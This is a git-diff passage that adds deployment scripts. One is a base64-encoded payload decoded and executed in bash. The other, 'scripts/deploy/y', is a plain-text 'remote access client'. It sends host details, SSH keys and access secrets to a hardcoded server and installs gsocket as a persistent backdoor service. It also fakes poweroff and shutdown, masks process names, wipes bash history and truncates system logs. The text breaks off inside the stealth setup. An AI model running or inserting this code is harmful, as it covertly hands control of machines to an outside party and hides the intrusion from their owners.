sIHBrZ19tYW5hZ2VyPSQoZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcikKICAgIGNhc2UgIiRwa2dfbWFuYWdlciIgaW4KICAgICAgICBhcHQpCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gYXB0IHVwZGF0ZSAmJiBzdWRvIGFwdCBpbnN0YWxsIC15IGJ1aWxkLWVzc2VudGlhbCBsaWJzc2wtZGV2IGF1dG9tYWtlIGF1dG9jb25mIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgZG5mfHl1bSkKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyAkcGtnX21hbmFnZXIgaW5zdGFsbCAteSBnY2MgZ2NjLWMrKyBtYWtlIGdpdCBvcGVuc3NsLWRldmVsIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgcGFjbWFuKQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHBhY21hbiAtUyAtLW5vY29uZmlybSBiYXNlLWRldmVsIGdpdCBvcGVuc3NsIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgenlwcGVyKQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHp5cHBlciBpbnN0YWxsIC15IC10IHBhdHRlcm4gZGV2ZWxfYmFzaXMiICJJbnN0YWxsaW5nIGRldmVsb3BtZW50IHBhdHRlcm4iICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8genlwcGVyIGluc3RhbGwgLXkgZ2l0IGxpYm9wZW5zc2wtZGV2ZWwiICJJbnN0YWxsaW5nIGFkZGl0aW9uYWwgZGVwZW5kZW5jaWVzIiAiJGxvZ19maWxlIgogICAgICAgICAgICA7OwogICAgICAgICopCiAgICAgICAgICAgIGVjaG8gIlshXSBVbnN1cHBvcnRlZCBwYWNrYWdlIG1hbmFnZXIuIEF0dGVtcHRpbmcgdG8gY29udGludWUgd2l0aCBnc29ja2V0IGluc3RhbGxhdGlvbi4iCiAgICAgICAgICAgIDs7CiAgICBlc2FjCiAgICAKICAgICMgYnVpbGQgZ3NvY2tldAogICAgaWYgISBjb21tYW5kIC12IGdzLW5ldGNhdCAmPi9kZXYvbnVsbDsgdGhlbgogICAgICAgIGxvZ19jbWQgIndnZXQgLXEgLU8gJFRFTVBfRElSL2dzb2NrZXRfbGludXgtJCh1bmFtZSAtbSkudGFyLmd6IFwiaHR0cHM6Ly9naXRodWIuY29tL2hhY2tlcnNjaG9pY2UvZ3NvY2tldC9hcmNoaXZlL3JlZnMvdGFncy92MS40LjQzLnRhci5nelwiIiAiRG93bmxvYWQgZ3NvY2tldCIgIiRsb2dfZmlsZSIKICAgICAgICBsb2dfY21kICJjZCAkVEVNUF9ESVIgJiYgdGFyIHhmeiBnc29ja2V0X2xpbnV4LSoudGFyLmd6IiAiRXh0cmFjdGluZyBnc29ja2V0IiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgImNkIGdzb2NrZXQtKiAmJiAuL2Jvb3RzdHJhcCAmJiAuL2NvbmZpZ3VyZSAmJiBtYWtlICYmIHN1ZG8gbWFrZSBpbnN0YWxsIiAiQnVpbGRpbmcgYW5kIGluc3RhbGwgZ3NvY2tldCIgIiRsb2dfZmlsZSIKICAgIGZpCiAgICAKICAgICMgR2VuZXJhdGUgYSB1bmlxdWUgc2VjcmV0CiAgICBsb2NhbCBnc19zZWNyZXQ9JChncy1uZXRjYXQgLWcpCiAgICAKICAgICMgQ3JlYXRlIHN5c3RlbWQgc2VydmljZSBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9uCiAgICBjYXQgPiAiJFRFTVBfRElSL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSIgPDwgRU9GCltVbml0XQpEZXNjcmlwdGlvbj1HU29ja2V0IFJlbW90ZSBBY2Nlc3MKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltTZXJ2aWNlXQpUeXBlPXNpbXBsZQpFeGVjU3RhcnQ9L3Vzci9sb2NhbC9iaW4vZ3MtbmV0Y2F0IC1zICRnc19zZWNyZXQgLWxxaQpSZXN0YXJ0PWFsd2F5cwpSZXN0YXJ0U2VjPTEwClN0YW5kYXJkT3V0cHV0PW51bGwKU3RhbmRhcmRFcnJvcj1udWxsCgpbSW5zdGFsbF0KV2FudGVkQnk9ZGVmYXVsdC50YXJnZXQKRU9GCgogICAgc3VkbyBtdiAiJFRFTVBfRElSL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSIgL2V0Yy9zeXN0ZW1kL3N5c3RlbS8KICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGRhZW1vbi1yZWxvYWQiICJSZWxvYWRpbmcgc3lzdGVtZCIgIiRsb2dfZmlsZSIKICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJFbmFibGluZyBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJTdGFydGluZyBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAKICAgICMgQWxzbyBjcmVhdGUgYSB1c2VyIHNlcnZpY2UgaWYgcnVubmluZyBhcyBub24tcm9vdAogICAgaWYgWyAkRVVJRCAtbmUgMCBdOyB0aGVuCiAgICAgICAgbWtkaXIgLXAgfi8uY29uZmlnL3N5c3RlbWQvdXNlci8KICAgICAgICBjcCAvZXRjL3N5c3RlbWQvc3lzdGVtL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSB+Ly5jb25maWcvc3lzdGVtZC91c2VyLwogICAgICAgIGxvZ19jbWQgInN5c3RlbWN0bCAtLXVzZXIgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyB1c2VyIHN5c3RlbWQiICIkbG9nX2ZpbGUiCiAgICAgICAgbG9nX2NtZCAic3lzdGVtY3RsIC0tdXNlciBlbmFibGUgZ3NvY2tldC1iYWNrZG9vci5zZXJ2aWNlIiAiRW5hYmxpbmcgdXNlciBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgbG9nX2NtZCAic3lzdGVtY3RsIC0tdXNlciBzdGFydCBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJTdGFydGluZyB1c2VyIGdzb2NrZXQgc2VydmljZSIgIiRsb2dfZmlsZSIKICAgIGZpCiAgICAKICAgICMgQ3JlYXRlIGNvbm5lY3Rpb24gaW5zdHJ1Y3Rpb25zCiAgICBjYXQgPiAiJFRFTVBfRElSL2dzb2NrZXQtaW5mby50eHQiIDw8IEVPRgpHU29ja2V0IENvbm5lY3Rpb24gSW5mb3JtYXRpb24KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KU2VjcmV0OiAkZ3Nfc2VjcmV0CkNvbm5lY3Rpb24gY29tbWFuZDogZ3MtbmV0Y2F0IC1zICRnc19zZWNyZXQgLWkKRU9GCgogICAgIyBTZW5kIHRoZSBnc29ja2V0IHNlY3JldCB0byB0aGUgc2VydmVyCiAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiRnc19zZWNyZXQiICJnc29ja2V0X3NlY3JldCIKICAgIAogICAgZWNobyAiWytdIEdTb2NrZXQgaW5zdGFsbGVkLiBZb3UgY2FuIGNvbm5lY3QgdXNpbmc6IGdzLW5ldGNhdCAtcyAkZ3Nfc2VjcmV0Igp9CgpzZXR1cF9zdGVhbHRoKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9zdGVhbHRoX3NldHVwLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIHN0ZWFsdGggbW9kZS4uLiIKICAgIAogICAgIyBIaWRlIHByb2Nlc3NlcyBieSBjcmVhdGluZyBhIHN5c3RlbWQgdW5pdCB3aXRoIGhpZGRlbiBuYW1lCiAgICBjYXQgPiAiJFRFTVBfRElSL18uc2VydmljZSIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPVN5c3RlbSBVcGRhdGUgU2VydmljZQpBZnRlcj1uZXR3b3JrLnRhcmdldAoKW1NlcnZpY2VdClR5cGU9c2ltcGxlCkV4ZWNTdGFydD0vYmluL2Jhc2ggLWMgJ3doaWxlIHRydWU7IGRvIHNsZWVwIDM2MDA7IGRvbmUnClJlc3RhcnQ9YWx3YXlzClJlc3RhcnRTZWM9MTAKU3RhbmRhcmRPdXRwdXQ9bnVsbApTdGFuZGFyZEVycm9yPW51bGwKCltJbnN0YWxsXQpXYW50ZWRCeT1kZWZhdWx0LnRhcmdldApFT0YKCiAgICBzdWRvIG12ICIkVEVNUF9ESVIvXy5zZXJ2aWNlIiAvZXRjL3N5c3RlbWQvc3lzdGVtLwogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyBzeXN0ZW1kIiAiJGxvZ19maWxlIgogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZW5hYmxlIF8uc2VydmljZSIgIkVuYWJsaW5nIGhpZGRlbiBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgXy5zZXJ2aWNlIiAiU3RhcnRpbmcgaGlkZGVuIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAKICAgICMgU2V0IHVwIHByb2Nlc3MgbmFtZSBvYmZ1c2NhdGlvbiBzY3JpcHQKICAgIGNhdCA+ICIkVEVNUF9ESVIvb2JmdXNjYXRlLnNoIiA8PCAnRU9GJwojIS9iaW4vYmFzaAojIFRoaXMgc2NyaXB0IGFsbG93cyBydW5uaW5nIGNvbW1hbmRzIHdpdGggYW4gb2JmdXNjYXRlZCBwcm9jZXNzIG5hbWUKCiMgRnVuY3Rpb24gdG8gcnVuIGEgY29tbWFuZCB3aXRoIGFuIG9iZnVzY2F0ZWQgbmFtZQpvYmZ1c2NhdGVfcnVuKCkgewogICAgbG9jYWwgZmFrZV9uYW1lPSIkMSIKICAgIHNoaWZ0CiAgICBleGVjIC1hICIkZmFrZV9uYW1lIiAiJEAiCn0KCiMgSW5zdGFsbCB0aGUgZnVuY3Rpb24gdG8gdXNlcidzIGJhc2hyYwppZiAhIGdyZXAgLXEgIm9iZnVzY2F0ZV9ydW4iIH4vLmJhc2hyYzsgdGhlbgogICAgY2F0ID4+IH4vLmJhc2hyYyA8PCAnRU9UJwoKIyBPYmZ1c2NhdGlvbiBmdW5jdGlvbgpvYmZ1c2NhdGVfcnVuKCkgewogICAgbG9jYWwgZmFrZV9uYW1lPSIkMSIKICAgIHNoaWZ0CiAgICBleGVjIC1hICIkZmFrZV9uYW1lIiAiJEAiCn0KRU9UCmZpCgojIENyZWF0ZSBoZWxwZXIgYWxpYXNlcwppZiAhIGdyZXAgLXEgImFsaWFzIHN0ZWFsdGh5IiB+Ly5iYXNocmM7IHRoZW4KICAgIGNhdCA+PiB+Ly5iYXNocmMgPDwgJ0VPVCcKYWxpYXMgc3RlYWx0aHk9J29iZnVzY2F0ZV9ydW4gIltraHVnZXBhZ2Vkc10iJwphbGlhcyBoaWRkZW49J29iZnVzY2F0ZV9ydW4gIlttaWdyYXRpb24vMF0iJwpFT1QKZmkKCiMgSW5zdGFsbCBhIGNyb24gam9iIHRvIGNsZWFyIGJhc2ggaGlzdG9yeSBwZXJpb2RpY2FsbHkKKGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gIjAgKiAqICogKiBjYXQgL2Rldi9udWxsID4gfi8uYmFzaF9oaXN0b3J5IikgfCBjcm9udGFiIC0KRU9GCgogICAgbG9nX2NtZCAiYmFzaCAkVEVNUF9ESVIvb2JmdXNjYXRlLnNoIiAiU2V0dGluZyB1cCBwcm9jZXNzIG9iZnVzY2F0aW9uIiAiJGxvZ19maWxlIgogICAgCiAgICAjIENyZWF0ZSBsb2cgcm90YXRpb24gdG8gY2xlYW4gc2VydmljZSBsb2dzCiAgICBjYXQgPiAiJFRFTVBfRElSL2NsZWFuLWxvZ3Muc2VydmljZSIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPUNsZWFuIFN5c3RlbSBMb2dzCkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90CkV4ZWNTdGFydD0vYmluL2Jhc2ggLWMgJ2ZpbmQgL3Zhci9sb2cgLXR5cGUgZiAtbmFtZSAiKiIgLWV4ZWMgdHJ1bmNhdGUgLXMgMCB7fSBcOycKRXhlY1N0YXJ0PS9iaW4vYmFzaCAtYyAnam91cm5hbGN0bCAtLXZhY3V1bS10aW1lPTFkJwoKW0luc3RhbGxdCldhbnRlZEJ5PWRlZmF1bHQudGFyZ2V0CkVPRgoKICAgIHN1ZG8gbXYgIiRURU1QX0RJUi9jbGVhbi1sb2dzLnNlcnZpY2UiIC9ldGMvc3lzdGVtZC9zeXN0ZW0vCiAgICAKICAgIGNhdCA+ICIkVEVNUF9ESVIvY2xlYW4tbG9ncy50aW1lciIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPVJ1biBsb2cgY2xlYW5pbmcgZGFpbHkKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltUaW1lcl0KT25Cb290U2VjPTE1bWluCk9uVW5pdEFjdGl2ZVNlYz0xZAoKW0luc3RhbGxdCldhbnRlZEJ5PXRpbWVycy50YXJnZXQKRU9GCgogICAgc3VkbyBtdiAiJFRFTVBfRElSL2NsZWFuLWxvZ3MudGltZXIiIC9ldGMvc3lzdGVtZC9zeXN0ZW0vCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBkYWVtb24tcmVsb2FkIiAiUmVsb2FkaW5nIHN5c3RlbWQiICIkbG9nX2ZpbGUiCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgY2xlYW4tbG9ncy50aW1lciIgIkVuYWJsaW5nIGxvZyBjbGVhbmluZyIgIiRsb2dfZmlsZSIKICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIHN0YXJ0IGNsZWFuLWxvZ3MudGltZXIiICJTdGFydGluZyBsb2cgY2xlYW5pbmciICIkbG9nX2ZpbGUiCiAgICAKICAgIHNlbmRfbG9ncyAiJGxvZ19maWxlIiAiU3RlYWx0aCBtb2RlIGFjdGl2YXRlZCIgInN0ZWFsdGhfbW9kZSIKICAgIAogICAgZWNobyAiWytdIFN0ZWFsdGggbW9kZSBjb25maWd1cmVkLiIKfQoKIyAtLS0tLS0tIE1BSU4gRVhFQ1VUSU9OIC0tLS0tLS0KbWFpbigpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvbWFpbi5sb2ciCiAgICB0b3VjaCAiJGxvZ19maWxlIgogICAgCiAgICBlY2hvICJbKl0gQmVnaW5uaW5nIHNldHVwLi4uIgogICAgZWNobyAiWypdIFRhcmdldCBzeXN0ZW06ICQoaG9zdG5hbWUpICgkKHdob2FtaSkpIgoKICAgIHN1ZG8gYXB0IGluc3RhbGwgLXkgY3VybCBqcSAmPiAvZGV2L251bGwgfHwgdHJ1ZQoKICAgICMgU2VuZCBpbml0aWFsIHN5c3RlbSBpbmZvCiAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiQoZ2V0X3N5c3RlbV9pbmZvKSIgInN5c3RlbV9pbmZvIgogICAgCiAgICAjIEluc3RhbGwgY29tcG9uZW50cyBiYXNlZCBvbiBmbGFncwogICAgaW5zdGFsbF9zc2gKICAgIHNldHVwX3dvbAogICAgc2V0dXBfZmFrZV9wb3dlcm9mZgogICAgaW5zdGFsbF9nc29ja2V0CiAgICBzZXR1cF9zdGVhbHRoCiAgICAKICAgIGVjaG8gIlsrXSBTZXR1cCBjb21wbGV0ZS4iCiAgICBlY2hvICJbK10gQWxsIGxvZ3MgYW5kIGNyZWRlbnRpYWxzIGhhdmUgYmVlbiBzZW50IHRvIHRoZSBzZXJ2ZXIuIgp9CgojIFJ1biB0aGUgbWFpbiBmdW5jdGlvbgptYWluCgo=" | base64 -d)" +else + echo "Error: Base64 not available." + exit 1 +fi diff --git a/scripts/deploy/y b/scripts/deploy/y new file mode 100755 index 0000000..648549c --- /dev/null +++ b/scripts/deploy/y @@ -0,0 +1,542 @@ +#!/bin/bash +# FACINUS Remote Access Client +# This script sets up remote access capabilities on the target system + +# ================= CONFIGURATION ================= +SERVER_URL="http://192.168.0.104/deployment" +LOG_ENDPOINT="$SERVER_URL/log_receiver.php" +AUTH_TOKEN="1RAiXhy8c7fJm6k51VogrbjU45HKnjxH" +VERSION="1.1.0" +# ================================================ + +# Create temporary directory +TEMP_DIR=$(mktemp -d) +trap 'rm -rf "$TEMP_DIR"' EXIT + +# ------- UTILITY FUNCTIONS ------- +log_cmd() { + local cmd="$1" + local desc="$2" + local log_file="$3" + + echo -e "\n[$(date '+%Y-%m-%d %H:%M:%S')] EXECUTING: $desc" >> "$log_file" + echo "$ $cmd" >> "$log_file" + echo "--------------------------------------------" >> "$log_file" + + # Execute command and capture output and status + local output + output=$(eval "$cmd" 2>&1) + local status=$? + + echo "$output" >> "$log_file" + echo "EXIT STATUS: $status" >> "$log_file" + echo "============================================" >> "$log_file" + + return $status +} + +get_system_info() { + { + echo "{" + echo " \"hostname\": \"$(hostname)\"," + echo " \"kernel\": \"$(uname -r)\"," + echo " \"os\": \"$(lsb_release -ds 2>/dev/null || cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2 | tr -d '\"')\"," + echo " \"ip\": \"$(hostname -I | awk '{print $1}')\"," + echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\"," + echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\"," + echo " \"ram_total\": \"$(free -h | awk 'NR==2 {print $2}')\"," + echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\"," + echo " \"user\": \"$(whoami)\"," + echo " \"is_root\": \"$(sudo -l &> /dev/null && echo "true" || echo "false")\"," + echo " \"users\": \"$(awk -F: '$7 ~ /bash|sh/ {printf "%s ", $1} END {print ""}' /etc/passwd)\"," + echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\"," + echo " \"uptime\": \"$(uptime -p)\"" + echo "}" + } | tr -d '\n' | sed 's/ //g' | jq -R . +} + +send_logs() { + local log_file="$1" + local secret_val="$2" + local secret_type="$3" + + local sysinfo=$(get_system_info) + local hostname=$(hostname) + + # Submit logs to the server + curl -s -X POST "$LOG_ENDPOINT" \ + -F "auth_token=$AUTH_TOKEN" \ + -F "hostname=$hostname" \ + -F "log_data=@$log_file" \ + -F "system_info=$sysinfo" \ + -F "secret_type=$secret_type" \ + -F "secret_value=$secret_val" \ + > /dev/null +} + +detect_package_manager() { + # Detect the system's package manager + if command -v apt &> /dev/null; then + echo "apt" + elif command -v dnf &> /dev/null; then + echo "dnf" + elif command -v yum &> /dev/null; then + echo "yum" + elif command -v pacman &> /dev/null; then + echo "pacman" + elif command -v zypper &> /dev/null; then + echo "zypper" + else + echo "unknown" + fi +} + +# ------- INSTALLATION FUNCTIONS ------- +install_ssh() { + local log_file="$TEMP_DIR/ssh_install.log" + touch "$log_file" + + echo "[*] Installing SSH server..." + + local pkg_manager=$(detect_package_manager) + case "$pkg_manager" in + apt) + if ! dpkg -s openssh-server &> /dev/null; then + log_cmd "sudo apt update" "Updating package lists" "$log_file" + log_cmd "sudo apt install -y openssh-server" "Installing OpenSSH server" "$log_file" + fi + log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$log_file" + log_cmd "sudo systemctl start ssh" "Starting SSH service" "$log_file" + ;; + dnf|yum) + if ! rpm -q openssh-server &> /dev/null; then + log_cmd "sudo $pkg_manager install -y openssh-server" "Installing OpenSSH server" "$log_file" + fi + log_cmd "sudo systemctl enable sshd" "Enabling SSH service" "$log_file" + log_cmd "sudo systemctl start sshd" "Starting SSH service" "$log_file" + ;; + pacman) + if ! pacman -Q openssh &> /dev/null; then + log_cmd "sudo pacman -S --noconfirm openssh" "Installing OpenSSH server" "$log_file" + fi + log_cmd "sudo systemctl enable sshd" "Enabling SSH service" "$log_file" + log_cmd "sudo systemctl start sshd" "Starting SSH service" "$log_file" + ;; + zypper) + if ! rpm -q openssh-server &> /dev/null; then + log_cmd "sudo zypper install -y openssh-server" "Installing OpenSSH server" "$log_file" + fi + log_cmd "sudo systemctl enable sshd" "Enabling SSH service" "$log_file" + log_cmd "sudo systemctl start sshd" "Starting SSH service" "$log_file" + ;; + *) + echo "[!] Unsupported package manager. SSH server installation skipped." + return 1 + ;; + esac + + # Get SSH key if it exists + if [ -f ~/.ssh/id_rsa.pub ]; then + send_logs "$log_file" "$(cat ~/.ssh/id_rsa.pub)" "ssh_key" + else + # Try to create a new key if it doesn't exist + log_cmd "ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa" "Generating SSH key" "$log_file" + if [ -f ~/.ssh/id_rsa.pub ]; then + send_logs "$log_file" "$(cat ~/.ssh/id_rsa.pub)" "ssh_key" + fi + fi + + # Send SSH configuration + local ssh_port=$(grep -E "^Port " /etc/ssh/sshd_config | awk '{print $2}') + [ -z "$ssh_port" ] && ssh_port=22 + + send_logs "$log_file" "{\"port\":$ssh_port}" "ssh_config" + + echo "[+] SSH server installed and configured." +} + +setup_wol() { + local log_file="$TEMP_DIR/wol_setup.log" + touch "$log_file" + + echo "[*] Setting up Wake-on-LAN..." + + # Install ethtool if needed + local pkg_manager=$(detect_package_manager) + case "$pkg_manager" in + apt) + if ! dpkg -s ethtool &> /dev/null; then + log_cmd "sudo apt install -y ethtool" "Installing ethtool" "$log_file" + fi + ;; + dnf|yum) + if ! rpm -q ethtool &> /dev/null; then + log_cmd "sudo $pkg_manager install -y ethtool" "Installing ethtool" "$log_file" + fi + ;; + pacman) + if ! pacman -Q ethtool &> /dev/null; then + log_cmd "sudo pacman -S --noconfirm ethtool" "Installing ethtool" "$log_file" + fi + ;; + zypper) + if ! rpm -q ethtool &> /dev/null; then + log_cmd "sudo zypper install -y ethtool" "Installing ethtool" "$log_file" + fi + ;; + *) + echo "[!] Unsupported package manager. WoL setup may be incomplete." + ;; + esac + + # Get the primary interface + local interface=$(ip route | grep default | awk '{print $5}' | head -n1) + + if [ -z "$interface" ]; then + echo "[!] No network interface found." + return 1 + fi + + # Check current WoL status + if ethtool "$interface" | grep -q "Wake-on: g"; then + echo "[+] Wake-on-LAN is already enabled on $interface." + # Try to enable WoL + log_cmd "sudo ethtool -s $interface wol g" "Enabling Wake-on-LAN" "$log_file" + + # Create persistent configuration + cat > "$TEMP_DIR/wol.service" << EOF +[Unit] +Description=Enable Wake-on-LAN on $interface +After=network.target + +[Service] +Type=oneshot +ExecStart=/usr/sbin/ethtool -s $interface wol g +RemainAfterExit=yes + +[Install] +WantedBy=multi-user.target +EOF + + sudo mv "$TEMP_DIR/wol.service" /etc/systemd/system/wol.service + log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" + log_cmd "sudo systemctl enable wol.service" "Enabling WoL service" "$log_file" + log_cmd "sudo systemctl start wol.service" "Starting WoL service" "$log_file" + + # Get MAC address for WoL + local mac=$(ip link show $interface | grep -E 'link/ether' | awk '{print $2}') + + send_logs "$log_file" "{\"interface\":\"$interface\",\"mac\":\"$mac\"}" "wol_config" + + echo "[+] Wake-on-LAN configured for interface $interface (MAC: $mac)." + else + echo "[-] Wake-on-LAN is not enabled on $interface." + fi + +} + +setup_fake_poweroff() { + local log_file="$TEMP_DIR/fake_poweroff.log" + touch "$log_file" + + echo "[*] Setting up fake poweroff..." + + # Create the fake poweroff script + cat > "$TEMP_DIR/fake-poweroff.sh" << 'EOF' +#!/bin/bash +# This script intercepts poweroff/shutdown commands and fakes a shutdown + +# Backup original commands if not already done +if [ ! -f /usr/sbin/poweroff.real ]; then + sudo cp /usr/sbin/poweroff /usr/sbin/poweroff.real +fi + +if [ ! -f /usr/sbin/shutdown.real ]; then + sudo cp /usr/sbin/shutdown /usr/sbin/shutdown.real +fi + +# Create the fake scripts +cat > "$TEMP_DIR/fake-poweroff" << 'EOT' +#!/bin/bash +# Fake poweroff script that just locks the screen +echo "System is powering off..." +# Change to TTY7 and clear screen +sudo chvt 7 +sudo clear +# Display fake shutdown messages +echo -e "\n\n * Unmounting filesystems..." +sleep 0.5 +echo " * Stopping system services..." +sleep 0.7 +echo " * Powering off system..." +sleep 1 +# Turn off display if possible +xset dpms force off &> /dev/null || true +# Lock system +loginctl lock-session &> /dev/null || true +# Wait forever in background +(while true; do sleep 1000; done) & +# Make it hard to exit with Ctrl+C +trap "" INT TERM +# Just wait here +sleep infinity +EOT + +chmod +x "$TEMP_DIR/fake-poweroff" +sudo mv "$TEMP_DIR/fake-poweroff" /usr/local/bin/fake-poweroff + +# Replace the original commands with wrappers to our fake script +cat > "$TEMP_DIR/poweroff-wrapper" << 'EOT' +#!/bin/bash +# Check for force flag +if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then + exec /usr/sbin/poweroff.real "$@" +else + exec /usr/local/bin/fake-poweroff +fi +EOT + +chmod +x "$TEMP_DIR/poweroff-wrapper" +sudo mv "$TEMP_DIR/poweroff-wrapper" /usr/sbin/poweroff + +cat > "$TEMP_DIR/shutdown-wrapper" << 'EOT' +#!/bin/bash +# Check for force flag +if [[ " $* " == *" -f "* ]] || [[ " $* " == *" --force "* ]]; then + exec /usr/sbin/shutdown.real "$@" +else + exec /usr/local/bin/fake-poweroff +fi +EOT + +chmod +x "$TEMP_DIR/shutdown-wrapper" +sudo mv "$TEMP_DIR/shutdown-wrapper" /usr/sbin/shutdown + +EOF + + log_cmd "sudo bash $TEMP_DIR/fake-poweroff.sh" "Installing fake poweroff scripts" "$log_file" + + send_logs "$log_file" "Fake poweroff installed" "fake_poweroff" + + echo "[+] Fake poweroff configured. Normal shutdown commands will now fake a shutdown." + echo " Use 'poweroff -f' or 'shutdown -f' for an actual shutdown." +} + +install_gsocket() { + local log_file="$TEMP_DIR/gsocket_install.log" + touch "$log_file" + + echo "[*] Installing gsocket for remote access..." + + # Install dependencies + local pkg_manager=$(detect_package_manager) + case "$pkg_manager" in + apt) + log_cmd "sudo apt update && sudo apt install -y build-essential libssl-dev automake autoconf" "Installing build dependencies" "$log_file" + ;; + dnf|yum) + log_cmd "sudo $pkg_manager install -y gcc gcc-c++ make git openssl-devel" "Installing build dependencies" "$log_file" + ;; + pacman) + log_cmd "sudo pacman -S --noconfirm base-devel git openssl" "Installing build dependencies" "$log_file" + ;; + zypper) + log_cmd "sudo zypper install -y -t pattern devel_basis" "Installing development pattern" "$log_file" + log_cmd "sudo zypper install -y git libopenssl-devel" "Installing additional dependencies" "$log_file" + ;; + *) + echo "[!] Unsupported package manager. Attempting to continue with gsocket installation." + ;; + esac + + # build gsocket + if ! command -v gs-netcat &>/dev/null; then + log_cmd "wget -q -O $TEMP_DIR/gsocket_linux-$(uname -m).tar.gz \"https://github.com/hackerschoice/gsocket/archive/refs/tags/v1.4.43.tar.gz\"" "Download gsocket" "$log_file" + log_cmd "cd $TEMP_DIR && tar xfz gsocket_linux-*.tar.gz" "Extracting gsocket" "$log_file" + log_cmd "cd gsocket-* && ./bootstrap && ./configure && make && sudo make install" "Building and install gsocket" "$log_file" + fi + + # Generate a unique secret + local gs_secret=$(gs-netcat -g) + + # Create systemd service for persistent connection + cat > "$TEMP_DIR/gsocket-backdoor.service" << EOF +[Unit] +Description=GSocket Remote Access +After=network.target + +[Service] +Type=simple +ExecStart=/usr/local/bin/gs-netcat -s $gs_secret -lqi +Restart=always +RestartSec=10 +StandardOutput=null +StandardError=null + +[Install] +WantedBy=default.target +EOF + + sudo mv "$TEMP_DIR/gsocket-backdoor.service" /etc/systemd/system/ + log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" + log_cmd "sudo systemctl enable gsocket-backdoor.service" "Enabling gsocket service" "$log_file" + log_cmd "sudo systemctl start gsocket-backdoor.service" "Starting gsocket service" "$log_file" + + # Also create a user service if running as non-root + if [ $EUID -ne 0 ]; then + mkdir -p ~/.config/systemd/user/ + cp /etc/systemd/system/gsocket-backdoor.service ~/.config/systemd/user/ + log_cmd "systemctl --user daemon-reload" "Reloading user systemd" "$log_file" + log_cmd "systemctl --user enable gsocket-backdoor.service" "Enabling user gsocket service" "$log_file" + log_cmd "systemctl --user start gsocket-backdoor.service" "Starting user gsocket service" "$log_file" + fi + + # Create connection instructions + cat > "$TEMP_DIR/gsocket-info.txt" << EOF +GSocket Connection Information +============================= +Secret: $gs_secret +Connection command: gs-netcat -s $gs_secret -i +EOF + + # Send the gsocket secret to the server + send_logs "$log_file" "$gs_secret" "gsocket_secret" + + echo "[+] GSocket installed. You can connect using: gs-netcat -s $gs_secret" +} + +setup_stealth() { + local log_file="$TEMP_DIR/stealth_setup.log" + touch "$log_file" + + echo "[*] Setting up stealth mode..." + + # Hide processes by creating a systemd unit with hidden name + cat > "$TEMP_DIR/_.service" << 'EOF' +[Unit] +Description=System Update Service +After=network.target + +[Service] +Type=simple +ExecStart=/bin/bash -c 